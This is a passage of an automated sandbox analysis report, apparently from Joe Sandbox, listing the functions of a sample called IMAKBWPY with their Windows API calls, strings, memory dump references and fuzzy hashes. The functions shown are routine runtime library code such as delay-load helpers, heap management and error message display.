Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: QueryValue$Close
String ID:
API String ID: 1979452859-0
Opcode ID: d483cc1f58005b53bfc36feee8502629f4e59557c4604a5653a31cb37f2cbdd1
Instruction ID: bed2a598310b2da65c3f5f74402b23483ef281cc267151f98cb5f26af550b344
Opcode Fuzzy Hash: d483cc1f58005b53bfc36feee8502629f4e59557c4604a5653a31cb37f2cbdd1
Instruction Fuzzy Hash: 9811C63682163AEF8B216E94CD415AEF768EF04320B11C179FD4967211C7B14EB0DBD2

Function 002334B5 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,00000000,00000000,00000000,00000000,00000000,00000104,00000000,?,00248BD3,0000001C,80070490,00000000,00000000,80070490), ref: 002334D5

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: 0109b2af90c1a03f88a991767b90667f5c5e2dee9397c11496d0778d9ae2cd76
Instruction ID: b5d42e3bb0ae7ef35a883680e6db3de270fb822167b5fd4fbc7ecade00654462
Opcode Fuzzy Hash: 0109b2af90c1a03f88a991767b90667f5c5e2dee9397c11496d0778d9ae2cd76
Instruction Fuzzy Hash: 3FE012B22111247BE6026F615C05DAB7B9CAF05754F008051BF44D6010E762D66086B0

Function 0026F479 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0026F491

Part of subcall function 0027998C: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00279A09
Part of subcall function 0027998C: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00279A1A

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3472e54aa8587bf4a9a5f21d0b8ff0a35d9c849191e23e1dd47377a0f87ed41b
Instruction ID: 44a7fdd20a38ff55808bc8ad7c4892ab9019fd354e8de9ddb38374a7788ca962
Opcode Fuzzy Hash: 3472e54aa8587bf4a9a5f21d0b8ff0a35d9c849191e23e1dd47377a0f87ed41b
Instruction Fuzzy Hash: 04B012A5279741BC3E4413102D03C37010CC1C3F21330C26FB904C0040AC804CB00072

Function 0026F4AA Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0026F491

Part of subcall function 0027998C: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00279A09
Part of subcall function 0027998C: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00279A1A

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 67b40a73a8693ed24d4971d6ab778a87f6d539603c31db3a5107e70a4a2029af
Instruction ID: 6e6116637783983f074b5ccd2e2476481345dcef43e8ba05e4a8d79738af60e1
Opcode Fuzzy Hash: 67b40a73a8693ed24d4971d6ab778a87f6d539603c31db3a5107e70a4a2029af
Instruction Fuzzy Hash: 08B012A1279741AC3E8453142D03C37014CC1C7F61330C26FF508C1040EC904CF00032

Function 0026F49A Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0026F491

Part of subcall function 0027998C: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00279A09
Part of subcall function 0027998C: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00279A1A

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 34627c3e3cc1aa0947c711423810c6a392ef16aad7dc9bd65bf21d98411caf2a
Instruction ID: a57f2393ee62746c8518182aa6336c2cb08fde424352d895f5b646b97e3cb089
Opcode Fuzzy Hash: 34627c3e3cc1aa0947c711423810c6a392ef16aad7dc9bd65bf21d98411caf2a
Instruction Fuzzy Hash: B4B012A1279741AD3E8453142E03D37014CC1C7F21330816FB508C1040EC814CB10032

Function 00279674 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0027966B

Part of subcall function 0027998C: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00279A09
Part of subcall function 0027998C: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00279A1A

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 66dc62469d6bd4c7eaeb3417f390641228f6c89df9aa6150e947d12cf39fb0dd
Instruction ID: 0ec9980b0914e40060535b5303c6a683df75533a846a684a6f1c0eed6a00b2e2
Opcode Fuzzy Hash: 66dc62469d6bd4c7eaeb3417f390641228f6c89df9aa6150e947d12cf39fb0dd
Instruction Fuzzy Hash: 45B01291278302AC3F4453041C03C37010CC5C2B11330C21FFC08C1040F8900CB40132

Function 00279653 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0027966B

Part of subcall function 0027998C: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00279A09
Part of subcall function 0027998C: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00279A1A

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f61056ed77979872f5ddb602c49ea2799c7b08ba856314dc387d4ae38a166018
Instruction ID: 5e9630c7ee61bbf9b1525d9cd6715ddf02bc38ec87f100a16e82d5b1b1550681
Opcode Fuzzy Hash: f61056ed77979872f5ddb602c49ea2799c7b08ba856314dc387d4ae38a166018
Instruction Fuzzy Hash: C2B01291278341BC3F0413046C83C37010CD9C2B11330C21FF404E0040B8900CB00233

Function 00279684 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0027966B

Part of subcall function 0027998C: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00279A09
Part of subcall function 0027998C: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00279A1A

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 515525cb525a6a35df13ab72444d41407fa9998a3a977027fe39d584d21e316d
Instruction ID: b70836c60601bc1b390de1786390c7e4c9f434de351c9ce7d08740926145f874
Opcode Fuzzy Hash: 515525cb525a6a35df13ab72444d41407fa9998a3a977027fe39d584d21e316d
Instruction Fuzzy Hash: 7CB01291278341AC3F4453482E43D37010CC9C2B11330C21FF408D1040F8900CB10132

Function 00231361 Relevance: 1.3, APIs: 1, Instructions: 88stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00233BD3: GetProcessHeap.KERNEL32(00000000,?,?,002321CC,?,75C0B390,8000FFFF,?,?,00270267,?,?,00000000,00000000,8000FFFF), ref: 00233BDB
Part of subcall function 00233BD3: HeapSize.KERNEL32(00000000,?,002321CC,?,75C0B390,8000FFFF,?,?,00270267,?,?,00000000,00000000,8000FFFF), ref: 00233BE2

lstrlenW.KERNEL32(?,?,75C0B390,00000000,?), ref: 0023139C

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: Heap$ProcessSizelstrlen
String ID:
API String ID: 3492610842-0
Opcode ID: 0d07c5d33f8ff3d218e052fc1ac558f4833d799feca18633d04e9f118c391d60
Instruction ID: b9c4a29c20b280ce254122c5cebdccfa04e460b0510b137c7780f973bcda974c
Opcode Fuzzy Hash: 0d07c5d33f8ff3d218e052fc1ac558f4833d799feca18633d04e9f118c391d60
Instruction Fuzzy Hash: FC2105B2D20219AFCB128F68DC407ADB7B5EF84360F1581A5EE40AB250C731DE719B80

Non-executed Functions

Function 10042400 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 50libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(user32.dll,?,00000000,?,1003D3FE,?,Microsoft Visual C++ Runtime Library,00012010,?,10065314,?,10065364,?,?,?,Runtime Error!Program: ), ref: 10042412
GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 1004242A
GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 1004243B
GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 10042448

Strings

MessageBoxA, xrefs: 10042424
GetLastActivePopup, xrefs: 1004243D
GetActiveWindow, xrefs: 10042435
user32.dll, xrefs: 1004240D

Memory Dump Source

Source File: 00000011.00000002.2198452182.0000000010001000.00000020.00000001.01000000.00000012.sdmp, Offset: 10000000, based on PE: true

Associated: 00000011.00000002.2198387888.0000000010000000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198565458.000000001004A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198692448.0000000010067000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198869837.000000001006B000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198954748.000000001006D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2199183766.0000000010074000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2199273379.0000000010076000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_10000000_IMAKBWPY.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: GetActiveWindow$GetLastActivePopup$MessageBoxA$user32.dll
API String ID: 2238633743-4044615076
Opcode ID: 799cf314ad492308496247c9b563abddd7106df989d6cf767f01176e029c0a67
Instruction ID: 17f04b8dbc2f0f39db912973e45c10f83cb6d578a3b0ffcb47dab7180785a235
Opcode Fuzzy Hash: 799cf314ad492308496247c9b563abddd7106df989d6cf767f01176e029c0a67
Instruction Fuzzy Hash: 19012C31700232AFE740EFB68CC496F3AEAEB896C1791043DE641D2221DB75CA40DB65

Function 1003D2DA Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 100fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000010), ref: 1003D347
GetStdHandle.KERNEL32(000000F4,10065314,00000000,?,00000000,00000010), ref: 1003D41D
WriteFile.KERNEL32(00000000), ref: 1003D424

Strings

Runtime Error!Program: , xrefs: 1003D3AD
<program name unknown>, xrefs: 1003D357
Microsoft Visual C++ Runtime Library, xrefs: 1003D3F3
..., xrefs: 1003D399

Memory Dump Source

Source File: 00000011.00000002.2198452182.0000000010001000.00000020.00000001.01000000.00000012.sdmp, Offset: 10000000, based on PE: true

Associated: 00000011.00000002.2198387888.0000000010000000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198565458.000000001004A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198692448.0000000010067000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198869837.000000001006B000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198954748.000000001006D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2199183766.0000000010074000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2199273379.0000000010076000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_10000000_IMAKBWPY.jbxd

Similarity

API ID: File$HandleModuleNameWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 3784150691-4022980321
Opcode ID: c60a6862b05b0eeaa0b0c6da0798255d8409c808b049069cc203533e4e454b6b
Instruction ID: ea284725aa69b7f2d54b15a4bf4d6ec212d82204cd68a3504978acad56079f13
Opcode Fuzzy Hash: c60a6862b05b0eeaa0b0c6da0798255d8409c808b049069cc203533e4e454b6b
Instruction Fuzzy Hash: 8B31E7B2A00218AFDB11EB70DD85FEA73BDEF46381F600567F544EA041EB70EA858B55

Function 100032C0 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00000001,?,00000001,00000000,?,?,00000000), ref: 10003308
MulDiv.KERNEL32(00000001,?,00000001,00000000,?,?,00000000), ref: 1000331B
SetRect.USER32 ref: 10003345
SetRect.USER32 ref: 1000335A
OffsetRect.USER32(?,?,00000001), ref: 10003377

Memory Dump Source

Source File: 00000011.00000002.2198452182.0000000010001000.00000020.00000001.01000000.00000012.sdmp, Offset: 10000000, based on PE: true

Associated: 00000011.00000002.2198387888.0000000010000000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198565458.000000001004A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198692448.0000000010067000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198869837.000000001006B000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198954748.000000001006D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2199183766.0000000010074000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2199273379.0000000010076000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_10000000_IMAKBWPY.jbxd

Similarity

API ID: Rect$Offset
String ID:
API String ID: 3858320380-0
Opcode ID: 3226da8c7aae29fff850b79aec30523d84db9e9e9f48e35ff210dfdc33153f11
Instruction ID: 70dd025181f41ac09f695ed5ce9d0c94a2e41b55f9dc218f0c3b194561ad07a1
Opcode Fuzzy Hash: 3226da8c7aae29fff850b79aec30523d84db9e9e9f48e35ff210dfdc33153f11
Instruction Fuzzy Hash: 03216DB5605315AFE200DF188EC5A5FBBEDEB8A640F04492EF541D7261C770ED088BB2

Function 1003D1F9 Relevance: 9.1, APIs: 6, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00100000,00004000,?,?,?,?,1003A99B,1003A9EF,?,?,?), ref: 1003D231
VirtualFree.KERNEL32(?,00000000,00008000,?,?,?,?,1003A99B,1003A9EF,?,?,?), ref: 1003D23C
HeapFree.KERNEL32(00000000,?,?,?,?,?,1003A99B,1003A9EF,?,?,?), ref: 1003D249
HeapFree.KERNEL32(00000000,?,?,?,?,1003A99B,1003A9EF,?,?,?), ref: 1003D265
VirtualFree.KERNEL32(FFFFFFFF,00000000,00008000,?,?,1003A99B,1003A9EF,?,?,?), ref: 1003D286
HeapDestroy.KERNEL32(?,?,1003A99B,1003A9EF,?,?,?), ref: 1003D298

Memory Dump Source

Source File: 00000011.00000002.2198452182.0000000010001000.00000020.00000001.01000000.00000012.sdmp, Offset: 10000000, based on PE: true

Associated: 00000011.00000002.2198387888.0000000010000000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198565458.000000001004A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198692448.0000000010067000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198869837.000000001006B000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198954748.000000001006D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2199183766.0000000010074000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2199273379.0000000010076000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_10000000_IMAKBWPY.jbxd

Similarity

API ID: Free$HeapVirtual$Destroy
String ID:
API String ID: 716807051-0
Opcode ID: 68cf496447200ccad335cbbc8d5417631c9e2caa2e6786856f8dfbb8a889a857
Instruction ID: 3af9201d486d3a2bc1550db3e812f2ac337913510ad575134dfd4be215dbcdfe
Opcode Fuzzy Hash: 68cf496447200ccad335cbbc8d5417631c9e2caa2e6786856f8dfbb8a889a857
Instruction Fuzzy Hash: 25118E31244261EFE662AB14ECC5F8677A6FB41752F224515F680BB0B0C7A6A884CB68

Function 1003D054 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 1003D073
GetEnvironmentVariableA.KERNEL32(__MSVCRT_HEAP_SELECT,?,00001090), ref: 1003D0A8
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1003D108

Strings

__GLOBAL_HEAP_SELECTED, xrefs: 1003D0E2
__MSVCRT_HEAP_SELECT, xrefs: 1003D0A3

Memory Dump Source

Source File: 00000011.00000002.2198452182.0000000010001000.00000020.00000001.01000000.00000012.sdmp, Offset: 10000000, based on PE: true

Associated: 00000011.00000002.2198387888.0000000010000000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198565458.000000001004A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198692448.0000000010067000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198869837.000000001006B000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198954748.000000001006D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2199183766.0000000010074000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2199273379.0000000010076000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_10000000_IMAKBWPY.jbxd

Similarity

API ID: EnvironmentFileModuleNameVariableVersion
String ID: __GLOBAL_HEAP_SELECTED$__MSVCRT_HEAP_SELECT
API String ID: 1385375860-4131005785
Opcode ID: 2b0a5279f758e68e820852b4a6ab7007167da66684b6d576116063d4997a3ac5
Instruction ID: ed782bebf34eaa52e622e5642e5b073096abae8f83f9496b0357b3f956fff298
Opcode Fuzzy Hash: 2b0a5279f758e68e820852b4a6ab7007167da66684b6d576116063d4997a3ac5
Instruction Fuzzy Hash: BD31E5719012987EEB27E6707C51BDE77A9DB02786F2004DBD145DE042E631DE8A9B11

Function 10003390 Relevance: 7.6, APIs: 5, Instructions: 142windowCOMMON

Download Yara Rule

APIs

SelectPalette.GDI32(?,?,00000000), ref: 100033EC
RealizePalette.GDI32(?), ref: 10003404
DrawDibOpen.MSVFW32 ref: 10003462
DrawDibDraw.MSVFW32(?,?,?,00000000,?,?,?,?,?,00000000,?,?,?,?,00000100,?), ref: 100034F4

Memory Dump Source

Source File: 00000011.00000002.2198452182.0000000010001000.00000020.00000001.01000000.00000012.sdmp, Offset: 10000000, based on PE: true

Associated: 00000011.00000002.2198387888.0000000010000000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198565458.000000001004A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198692448.0000000010067000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198869837.000000001006B000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198954748.000000001006D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2199183766.0000000010074000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2199273379.0000000010076000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_10000000_IMAKBWPY.jbxd

Similarity

API ID: Draw$Palette$OpenRealizeSelect
String ID:
API String ID: 1891814295-0
Opcode ID: 6ecef0f22b69bc1dab65889e23e6c445aea72bafccd0e0917d0765b912a8707d
Instruction ID: 7de8fa35b9a59ec312cf17c4a1796b433de2423addd29be894cb64482c682cae
Opcode Fuzzy Hash: 6ecef0f22b69bc1dab65889e23e6c445aea72bafccd0e0917d0765b912a8707d
Instruction Fuzzy Hash: 06519EB56087809FD725CF28CC84AAFB7E9FBC9350F108A1DF99987245D730A905CB66

Function 100022C0 Relevance: 7.6, APIs: 5, Instructions: 80COMMON

Download Yara Rule

APIs

GlobalLock.KERNEL32 ref: 100022EE

Memory Dump Source

Source File: 00000011.00000002.2198452182.0000000010001000.00000020.00000001.01000000.00000012.sdmp, Offset: 10000000, based on PE: true

Associated: 00000011.00000002.2198387888.0000000010000000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198565458.000000001004A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198692448.0000000010067000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198869837.000000001006B000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198954748.000000001006D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2199183766.0000000010074000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2199273379.0000000010076000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_10000000_IMAKBWPY.jbxd

Similarity

API ID: GlobalLock
String ID:
API String ID: 2848605275-0
Opcode ID: 60180515bc8333a05ce828e1be6b6ded47a4dd99c852396ae82ab9c99da65fb7
Instruction ID: f4d2222e74b200e8fa4ad3175c6daf4646a8474858300107e58a26c286ec8854
Opcode Fuzzy Hash: 60180515bc8333a05ce828e1be6b6ded47a4dd99c852396ae82ab9c99da65fb7
Instruction Fuzzy Hash: 9F21DA3A408751AFE311DB24CC45B9BB7E8FF467A0F40061CFD95E3295DB39A604CA62

Function 1003B1FE Relevance: 6.5, APIs: 5, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2198452182.0000000010001000.00000020.00000001.01000000.00000012.sdmp, Offset: 10000000, based on PE: true

Associated: 00000011.00000002.2198387888.0000000010000000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198565458.000000001004A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198692448.0000000010067000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198869837.000000001006B000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198954748.000000001006D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2199183766.0000000010074000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2199273379.0000000010076000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_10000000_IMAKBWPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12b80107f73b384aef81afebbbc424e697dcac8ad07d0a6fcb164a6c046cb8cf
Instruction ID: 6d0082e819523c93d3346e6f2f60b76d7730bb7fd7ac9d96ea3bbeb4912191f3
Opcode Fuzzy Hash: 12b80107f73b384aef81afebbbc424e697dcac8ad07d0a6fcb164a6c046cb8cf
Instruction Fuzzy Hash: 6191E871D00A68AFDB13DF68CC85ADE7BB8EB057A6F200216F954BE191D7319D40CB64

Function 1003E16F Relevance: 6.4, APIs: 5, Instructions: 102memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000000,00002020,1006BEC0,1006BEC0,?,?,1003E63B,?,00000010,?,00000009,00000009,?,1003ACF9,00000010), ref: 1003E190
VirtualAlloc.KERNEL32(00000000,00400000,00002000,00000004,?,?,1003E63B,?,00000010,?,00000009,00000009,?,1003ACF9,00000010), ref: 1003E1B4
VirtualAlloc.KERNEL32(00000000,00010000,00001000,00000004,?,?,1003E63B,?,00000010,?,00000009,00000009,?,1003ACF9,00000010), ref: 1003E1CE
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,1003E63B,?,00000010,?,00000009,00000009,?,1003ACF9,00000010), ref: 1003E28F
HeapFree.KERNEL32(00000000,00000000,?,?,1003E63B,?,00000010,?,00000009,00000009,?,1003ACF9,00000010), ref: 1003E2A6

Memory Dump Source

Source File: 00000011.00000002.2198452182.0000000010001000.00000020.00000001.01000000.00000012.sdmp, Offset: 10000000, based on PE: true

Associated: 00000011.00000002.2198387888.0000000010000000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198565458.000000001004A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198692448.0000000010067000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198869837.000000001006B000.00000004.00000001.01000000.00000012.sdmpDownload File
